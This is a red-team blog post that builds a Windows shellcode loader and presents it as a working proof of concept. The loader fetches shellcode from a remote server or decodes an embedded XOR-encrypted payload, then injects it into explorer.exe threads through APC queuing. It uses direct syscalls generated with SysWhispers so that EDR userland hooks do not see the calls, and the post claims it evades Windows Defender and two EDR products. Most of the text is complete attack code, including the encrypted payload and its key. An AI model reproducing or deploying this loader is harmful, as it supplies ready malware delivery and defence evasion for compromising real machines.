This post is heavily similar to my previous post located here around designing a custom shellcode loader which will pull shellcode from a server and execute it into a process. This POC currently bypasses Windows Defender when used with Sliver C2 framework (and likely others) along with 2 tested but unnamed EDR products.
The main difference is this time the loader will use direct syscalls to avoid making suspicious API calls in an attempt to bypass EDR userland API Hooking. There has been lots of great research on syscalls without which this blog post would not be possible. I recommend starting here
Basic information around syscalls
When developers follow the normal process for creating applications they use the documented Win32API. This API is a high level API and references another lower level API known as the Native API. If you have ever been involved in malware development you maybe familiar with the windows API call VirtualAlloc When you call this API it makes a call to NTAllocateVirtualMemory. NTAllocateVirtualMemory is the actual API Call referenced by ntdll.dll which then uses a specialised instruction for system calls called “syscall” which allows the call to enter ring 0. This high level image may help.
An example of a syscall which would be executed by NTAllocateVirtualMemory can be seen below.
mov r10, rcx
mov eax, 003fh
syscall
ret
The majority of EDR tools use userland hooking in an attempt to detect malicious activity. This involves placing a hook into ntdll.dll with a JMP function. Syscalls will bypass this hooking technique which if used as the only source of telemetry, renders an EDR unable to determine the full functionality of the application. This JMP function diverts the execution to an alternative function such as DLL injected by an EDR to collect telemetry about what this process is attempting to do. This function inside the DLL will execute the real function on behalf of the user and observe any return values it will then determine whether it considers this action to be malicious or not.
There is a github project called syswhispers which aids greatly in developing software that uses syscalls. This project allows you to easily just reference the NTDLL.DLL API calls and have it easily changed into a syscall. The project site describes it well.
“SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe
) across any Windows version starting from XP. The headers will also include the necessary type definitions.”
Now we have a very basic knowledge of what syscalls are and how to reference them in our code along with how they may aid in bypassing EDR/AV detection lets look at this shellcode loader which utilises those techniques.
This time the method of shellcode execution is different to my previous post and relies on an Asynchronous procedure call initiated by NTQueueUserAPC. Using this method enables you more flexibility with the loader as it allows you to choose the process to inject into, giving you the ability to more accurately blend in with an environment by injecting into a process which would be most likely to have legitimate traffic heading to your C2. For example if you compromised a developers machine you could inject into visualstudio.exe and then use github.com as a C2 via the C3 framework making it much more difficult for an analyst to detect.
I wont go over setting up the C2 framework, however for this guide the C2 framework i’m using is Sliver
So Firstly we need to setup and add syswhispers into our C++ project, syswhispers is simple to setup. Just run the following, note you only need to choose one syswhispers setup.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
# Export all functions with compatibility for all supported Windows versions (see example-output/).
> python3 .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
> py .\syswhispers.py --preset common -o syscalls_common
# Export all functions with compatibility for Windows 7, 8, and 10.
> py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
Now we have the syswhispers setup we need to create a new project in visual studio.
Create a New Empty C++ Project as shown below.
Once you’ve opened the project, right click select add and then new item. Then add add a new .cpp source file as shown, This is where our source code will go.
Now we can add the ASM/Header file to the folder where our newly created SLN is, mine looks like the following with the syscalls ASM/Header file added. The full steps are below.
- Copy the generated H/ASM files into the project folder.
- In Visual Studio, go to Project → Build Customizations… and enable MASM.
- In the Solution Explorer, add the .h and .asm files to the project as header and source files, respectively.
- Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
- Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.
Great now we can utilise syswhispers into our code to make direct syscalls to bypass userland hooking.
Pulling Raw Shellcode From Server
First lets recycle some code from my previous post where we pull some shellcode hosted from a server naked IP address.
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "syscalls_all.h"
#include <stdio.h>
//#include <winsock2.h>
#pragma warning(disable:4996)
//Winsock Library
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char** argv)
{
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char* message;
char sh3llcode[2048];
int recv_size;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
return 1;
}
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
}
server.sin_addr.s_addr = inet_addr("192.168.211.129");
server.sin_family = AF_INET;
server.sin_port = htons(8080);
if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0)
{
return 1;
}
if ((recv_size = recv(s, sh3llcode, 2048, 0)) == SOCKET_ERROR)
sh3llcode[recv_size];
Xoring Shellcode in the Loader
An alternative if you don’t want to pull your shellcode from a server could be embedding it into the binary and xoring it to avoid static detection. (yes this still works in 2021) To accomplish this I used this tool
usage is pretty simple, i’ve just copied it from the github repo
- Git clone this repository:
git clone https://github.com/Arno0x/ShellcodeWrapper ShellcodeWrapper
- cd into the ShellcodeWrapper folder:
cd ShellcodeWrapper
- Install requirements using
pip install -r requirements.txt
- Give the execution rights to the main script:
chmod +x shellcode_encoder.py
./shellcode_encoder.py -cpp /path/to/sliver/stager thisismykey xor
You will now see a newly created results folder, within it you will see a C++ file named encryptedShellcodeWrapper_xor.cpp. It will look similar to the screenshot below.
This contains your xored C++ code which we will copy into our newly created visual studio project and then tweak slightly to suit our use case. The below is the completed first section of our shellcode launcher, as you can see the changes made are;
- We Added the correct headers which are required to utilise the syswhispers tool enabling us to make direct syscalls
- edited the main function to just int main()
- deleted the window API calls section of the code (we are using our own syscalls code for that), we only need the logic for decrypting the xored shellcode. everything after line 27 from my screenshot above can be deleted. When complete your code will look like below.
When complete your code will look like below.
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "syscalls_all.h"
#include <stdio.h>
int main()
{
unsigned char encryptedSh3llcode[] = "\xaf\x3d\xf3\x81\x82\xbb\xa9\x63\x75\x72\x24\x1a\x24\x29\x01"
"\x24\x26\x2d\x43\x81\x00\x2b\xfe\x20\x05\x03\xee\x2b\x4b\x3d"
"\xfb\x37\x52\x1b\x6a\xd4\x3f\x38\x28\x7a\xac\x31\xd8\x07\x20"
"\x2d\x43\x93\xc9\x5f\x14\x0e\x67\x67\x45\x38\x92\xbc\x7d\x24"
"\x73\x92\x87\x8e\x27\x3a\xee\x19\x45\xf2\x11\x49\x38\x64\xa2"
"\x35\xe4\x1b\x6d\x79\x67\x0a\x34\x76\xd6\x07\x70\x65\x72\xd8"
"\xe5\xeb\x75\x72\x65\x03\xe0\xb9\x27\x12\x38\x64\xa2\x17\xee"
"\x23\x55\xf9\x2d\x53\x2c\x78\x83\x25\x93\x33\x3a\xac\xac\x22"
"\xfe\x46\xed\x03\x64\xaf\x1e\x44\xb9\x2d\x43\x93\xc9\x22\xb4"
"\xbb\x68\x0a\x64\xb8\x6b\x95\x05\x94\x3e\x50\x29\x47\x7d\x37"
"\x5c\x9a\x10\xa1\x0b\x31\xfb\x25\x56\x1a\x64\xb3\x13\x33\xee"
"\x47\x2d\x3d\xd8\x35\x6c\x2c\x73\x83\x24\xe8\x71\xfa\x24\x13"
"\x2d\x78\x83\x34\x28\x3b\x2b\x09\x24\x3b\x34\x2b\x24\x11\x2d"
"\xfa\xbf\x55\x31\x37\x8d\xb3\x3d\x22\x2c\x28\x2d\xc0\x77\x90"
"\x18\x8a\x8f\x9a\x2f\x1a\xdb\x14\x06\x40\x3a\x78\x57\x79\x53"
"\x34\x26\x2c\xfb\xb5\x2d\xe2\x99\xd2\x64\x4b\x65\x30\xda\x90"
"\x39\xd9\x70\x53\x65\x33\xb5\xda\xb6\xca\x24\x2d\x1a\xfc\x94"
"\x29\xfb\xa2\x24\xd9\x39\x05\x43\x4c\x9a\xac\x1f\xfc\x9a\x0d"
"\x73\x52\x65\x63\x2c\x33\xdf\x62\xe5\x12\x53\x8a\xa5\x0f\x78"
"\x12\x3b\x33\x25\x3f\x54\x82\x28\x48\x93\x3d\x8f\xa5\x3a\xda"
"\xa7\x2b\x8a\xb2\x2d\xc2\xa4\x38\xe9\x9f\x7f\xba\x92\xac\xb0"
"\x2b\xfc\xb5\x0f\x5b\x24\x21\x1f\xfc\x92\x2d\xfb\xaa\x24\xd9"
"\xec\xd7\x11\x2a\x9a\xac\xd6\xb5\x04\x6f\x3b\xac\xab\x16\x90"
"\x9a\xf6\x4b\x65\x79\x1b\xf6\x9c\x75\x3a\xda\x87\x2e\x44\xbb"
"\x0f\x4f\x24\x21\x1b\xfc\x89\x24\xc8\x51\xbc\xab\x2a\x8d\xb0"
"\xc8\x9d\x79\x2d\x20\x38\xe6\xb6\x73\x3b\xea\x83\x18\x25\x0a"
"\x3c\x11\x53\x65\x70\x65\x33\x0b\x2d\xea\x87\x3a\x54\x82\x24"
"\xc3\x0b\xd1\x23\x80\x8d\x86\x2d\xea\xb6\x3b\xec\x8c\x28\x48"
"\x9a\x3c\xf9\x95\x3a\xda\xbf\x2b\xfc\x8b\x24\xf1\x67\xa0\x9b"
"\x2a\x8f\xb0\xf1\xab\x65\x1e\x5d\x2a\x24\x1c\x3c\x11\x53\x35"
"\x70\x65\x33\x0b\x0f\x63\x2f\x33\xdf\x40\x4a\x76\x63\x8a\xa5"
"\x32\x2b\x12\xdf\x16\x1b\x3f\x04\xb4\xb0\x30\xac\xbb\x99\x59"
"\x8d\xac\x9a\x2b\x74\xb1\x2d\x62\xa3\x31\xd6\x83\x05\xd1\x33"
"\xac\x82\x3b\x1f\x72\x3c\xf0\x85\x64\x79\x7f\x31\xec"
"\xa8\xac\xb0";
char key[] = "SuperSecureKey";
char cipherType[] = "xor";
// Char array to host the deciphered shellcode
unsigned char sh3llcode[sizeof encryptedSh3llcode];
//XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
for (int i = 0; i < sizeof encryptedSh3llcode; i++) {
if (j == sizeof key - 1) j = 0;
sh3llcode[i] = encryptedSh3llcode[i] ^ key[j];
j++;
}
Using Syscalls for QueueUserAPC Shellcode injection
Now we’ve got the shellcode either through xoring it to avoid static AV detection or having it not in our compiled code and downloading it directly from a webserver now we can look at how we want to structure our code and utilise syscalls. The method I’m choosing will allow us inject our code into the process of our choice while bypassing userland hooking. For the POC below i’m using explorer.exe however this can easily be changed.
The plan is to do the following
- Enumerate all processes
- Get the PID of explorer
- Open a handle to the explorer.exe process
- Enumerate all threads of Explorer.exe
- Write shellcode to the memory address space of the process
- for each thread associated with explorer.exe start APC to run the shellcode
- Profit
lets look at the following first section of the code. This code will set the groundwork for us to inject our shellcode into a process later on.
LPVOID allocation_start; // This is pointer to a variable that will receive the base address of the allocated region of pages i.e., shellcode.
SIZE_T allocation_size = sizeof(sh3llcode); // Size of allocated region of pages (the shellcode) in bytes
HANDLE hThread; // Handle to the Thread
HANDLE hProcess; // Handle to the Process
This next section is how we can enumerate through all windows processes, locate the PID of explorer.exe and save it for later. There is a good example of this in more detail here
HANDLE processsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); // CreateToolhelp32Snapshot takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; //Set the size of the structure before using it
DWORD dwProcessId;
// Find the PID of explorer.exe and save it
if (Process32First(processsnapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(processsnapshot, &processEntry);
}
}
dwProcessId = processEntry.th32ProcessID;
Now we have obtained the explorer PID, we need to get a handle to the explorer.exe process and allocate some memory for the shellcode.
OBJECT_ATTRIBUTES pObjectAttributes;
InitializeObjectAttributes(&pObjectAttributes, NULL, NULL, NULL, NULL);
CLIENT_ID pClientId;
pClientId.UniqueProcess = (PVOID)processEntry.th32ProcessID;
pClientId.UniqueThread = (PVOID)0;
allocation_start = nullptr;
NtOpenProcess(&hProcess, MAXIMUM_ALLOWED, &pObjectAttributes, &pClientId); // using syswhispers to make a syscall to get access to explorer.exe
NtAllocateVirtualMemory(hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //using syswhispers to make a syscall to allocate memory on a thread in explorer which we will then be able to write shellcode to. In this example the memory permissions are RWX)
NtWriteVirtualMemory(hProcess, allocation_start, sh3llcode, sizeof(sh3llcode), 0); // Actually writes the shellcode to the thread in explorer.exe utilising syswhispers
Ok so now we have placed our shellcode into memory we now need it to execute it utilising the queueuserapc methodology. This means we need the thread in an alertable state.
// Enumerate all threads of explorer.exe
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
if (Thread32First(processsnapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(processsnapshot, &threadEntry));
}
// For every thread associated with explorer, open the thread and assign it an APC placing the thread in an alertable state to execute our shellcode.
int count = 0;
for (DWORD threadId : threadIds) {
OBJECT_ATTRIBUTES tObjectAttributes;
InitializeObjectAttributes(&tObjectAttributes, NULL, NULL, NULL, NULL);
CLIENT_ID tClientId;
tClientId.UniqueProcess = (PVOID)dwProcessId;
tClientId.UniqueThread = (PVOID)threadId;
// The queueuserapc stuff
NtOpenThread(&hThread, MAXIMUM_ALLOWED, &tObjectAttributes, &tClientId);
NtSuspendThread(hThread, NULL);
NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)allocation_start, allocation_start, NULL, NULL);
NtResumeThread(hThread, NULL);
count++;
if (count == 3) { // this limits the injection into 3 threads, the more threads to more likely this injection technique will be successful however this may crash the process
break;
}
}
}
So in conclusion we’ve now got some code that will download or decrypt shellcode in memory, enumerate all processes and identify explorer.exe. It will then use syscalls to open a handle to explorer, write the shellcode to it, make the shellcode executable and alertable via APC and then execute it to a maximum of three threads. You should bare in mind that there is a potential that this may crash the process however it is unlikely.
POC
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "syscalls_all.h"
#include <stdio.h>
int main()
{
unsigned char encryptedSh3llcode[] = "\xaf\x3d\xf3\x81\x82\xbb\xa9\x63\x75\x72\x24\x1a\x24\x29\x01"
"\x24\x26\x2d\x43\x81\x00\x2b\xfe\x20\x05\x03\xee\x2b\x4b\x3d"
"\xfb\x37\x52\x1b\x6a\xd4\x3f\x38\x28\x7a\xac\x31\xd8\x07\x20"
"\x2d\x43\x93\xc9\x5f\x14\x0e\x67\x67\x45\x38\x92\xbc\x7d\x24"
"\x73\x92\x87\x8e\x27\x3a\xee\x19\x45\xf2\x11\x49\x38\x64\xa2"
"\x35\xe4\x1b\x6d\x79\x67\x0a\x34\x76\xd6\x07\x70\x65\x72\xd8"
"\xe5\xeb\x75\x72\x65\x03\xe0\xb9\x27\x12\x38\x64\xa2\x17\xee"
"\x23\x55\xf9\x2d\x53\x2c\x78\x83\x25\x93\x33\x3a\xac\xac\x22"
"\xfe\x46\xed\x03\x64\xaf\x1e\x44\xb9\x2d\x43\x93\xc9\x22\xb4"
"\xbb\x68\x0a\x64\xb8\x6b\x95\x05\x94\x3e\x50\x29\x47\x7d\x37"
"\x5c\x9a\x10\xa1\x0b\x31\xfb\x25\x56\x1a\x64\xb3\x13\x33\xee"
"\x47\x2d\x3d\xd8\x35\x6c\x2c\x73\x83\x24\xe8\x71\xfa\x24\x13"
"\x2d\x78\x83\x34\x28\x3b\x2b\x09\x24\x3b\x34\x2b\x24\x11\x2d"
"\xfa\xbf\x55\x31\x37\x8d\xb3\x3d\x22\x2c\x28\x2d\xc0\x77\x90"
"\x18\x8a\x8f\x9a\x2f\x1a\xdb\x14\x06\x40\x3a\x78\x57\x79\x53"
"\x34\x26\x2c\xfb\xb5\x2d\xe2\x99\xd2\x64\x4b\x65\x30\xda\x90"
"\x39\xd9\x70\x53\x65\x33\xb5\xda\xb6\xca\x24\x2d\x1a\xfc\x94"
"\x29\xfb\xa2\x24\xd9\x39\x05\x43\x4c\x9a\xac\x1f\xfc\x9a\x0d"
"\x73\x52\x65\x63\x2c\x33\xdf\x62\xe5\x12\x53\x8a\xa5\x0f\x78"
"\x12\x3b\x33\x25\x3f\x54\x82\x28\x48\x93\x3d\x8f\xa5\x3a\xda"
"\xa7\x2b\x8a\xb2\x2d\xc2\xa4\x38\xe9\x9f\x7f\xba\x92\xac\xb0"
"\x2b\xfc\xb5\x0f\x5b\x24\x21\x1f\xfc\x92\x2d\xfb\xaa\x24\xd9"
"\xec\xd7\x11\x2a\x9a\xac\xd6\xb5\x04\x6f\x3b\xac\xab\x16\x90"
"\x9a\xf6\x4b\x65\x79\x1b\xf6\x9c\x75\x3a\xda\x87\x2e\x44\xbb"
"\x0f\x4f\x24\x21\x1b\xfc\x89\x24\xc8\x51\xbc\xab\x2a\x8d\xb0"
"\xc8\x9d\x79\x2d\x20\x38\xe6\xb6\x73\x3b\xea\x83\x18\x25\x0a"
"\x3c\x11\x53\x65\x70\x65\x33\x0b\x2d\xea\x87\x3a\x54\x82\x24"
"\xc3\x0b\xd1\x23\x80\x8d\x86\x2d\xea\xb6\x3b\xec\x8c\x28\x48"
"\x9a\x3c\xf9\x95\x3a\xda\xbf\x2b\xfc\x8b\x24\xf1\x67\xa0\x9b"
"\x2a\x8f\xb0\xf1\xab\x65\x1e\x5d\x2a\x24\x1c\x3c\x11\x53\x35"
"\x70\x65\x33\x0b\x0f\x63\x2f\x33\xdf\x40\x4a\x76\x63\x8a\xa5"
"\x32\x2b\x12\xdf\x16\x1b\x3f\x04\xb4\xb0\x30\xac\xbb\x99\x59"
"\x8d\xac\x9a\x2b\x74\xb1\x2d\x62\xa3\x31\xd6\x83\x05\xd1\x33"
"\xac\x82\x3b\x1f\x72\x3c\xf0\x85\x64\x79\x7f\x31\xec"
"\xa8\xac\xb0";
char key[] = "SuperSecureKey";
char cipherType[] = "xor";
// Char array to host the deciphered shellcode
char sh3llcode[sizeof encryptedSh3llcode];
//XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
for (int i = 0; i < sizeof encryptedSh3llcode; i++) {
if (j == sizeof key - 1) j = 0;
sh3llcode[i] = encryptedSh3llcode[i] ^ key[j];
j++;
}
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(sh3llcode);
HANDLE hThread;
HANDLE hProcess;
HANDLE processsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
DWORD dwProcessId;
if (Process32First(processsnapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(processsnapshot, &processEntry);
}
}
dwProcessId = processEntry.th32ProcessID;
OBJECT_ATTRIBUTES pObjectAttributes;
InitializeObjectAttributes(&pObjectAttributes, NULL, NULL, NULL, NULL);
CLIENT_ID pClientId;
pClientId.UniqueProcess = (PVOID)processEntry.th32ProcessID;
pClientId.UniqueThread = (PVOID)0;
allocation_start = nullptr;
NtOpenProcess(&hProcess, MAXIMUM_ALLOWED, &pObjectAttributes, &pClientId);
NtAllocateVirtualMemory(hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, allocation_start, sh3llcode, sizeof(sh3llcode), 0);
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
if (Thread32First(processsnapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(processsnapshot, &threadEntry));
}
int count = 0;
for (DWORD threadId : threadIds) {
OBJECT_ATTRIBUTES tObjectAttributes;
InitializeObjectAttributes(&tObjectAttributes, NULL, NULL, NULL, NULL);
CLIENT_ID tClientId;
tClientId.UniqueProcess = (PVOID)dwProcessId;
tClientId.UniqueThread = (PVOID)threadId;
NtOpenThread(&hThread, MAXIMUM_ALLOWED, &tObjectAttributes, &tClientId);
NtSuspendThread(hThread, NULL);
NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)allocation_start, allocation_start, NULL, NULL);
NtResumeThread(hThread, NULL);
count++;
if (count == 3) {
break;
}
}
}
This work would not be possible without the code snippets and articles around syscalls from all of the links below.
- https://github.com/Arno0x/ShellcodeWrapper
- https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
- https://www.solomonsklash.io/syscalls-for-shellcode-injection.html
- https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa
- https://www.codeproject.com/Articles/36344/Native-Thread-Injection-Into-the-Session-Manager-S
- https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes
- https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
- https://securitytimes.medium.com/path-to-process-injection-bypass-userland-api-hooking-a8a49ae5def6
- https://github.com/hlldz/APC-PPID/blob/master/apc-ppid.cpp
- Possibly other posts which are no longer open on my browser.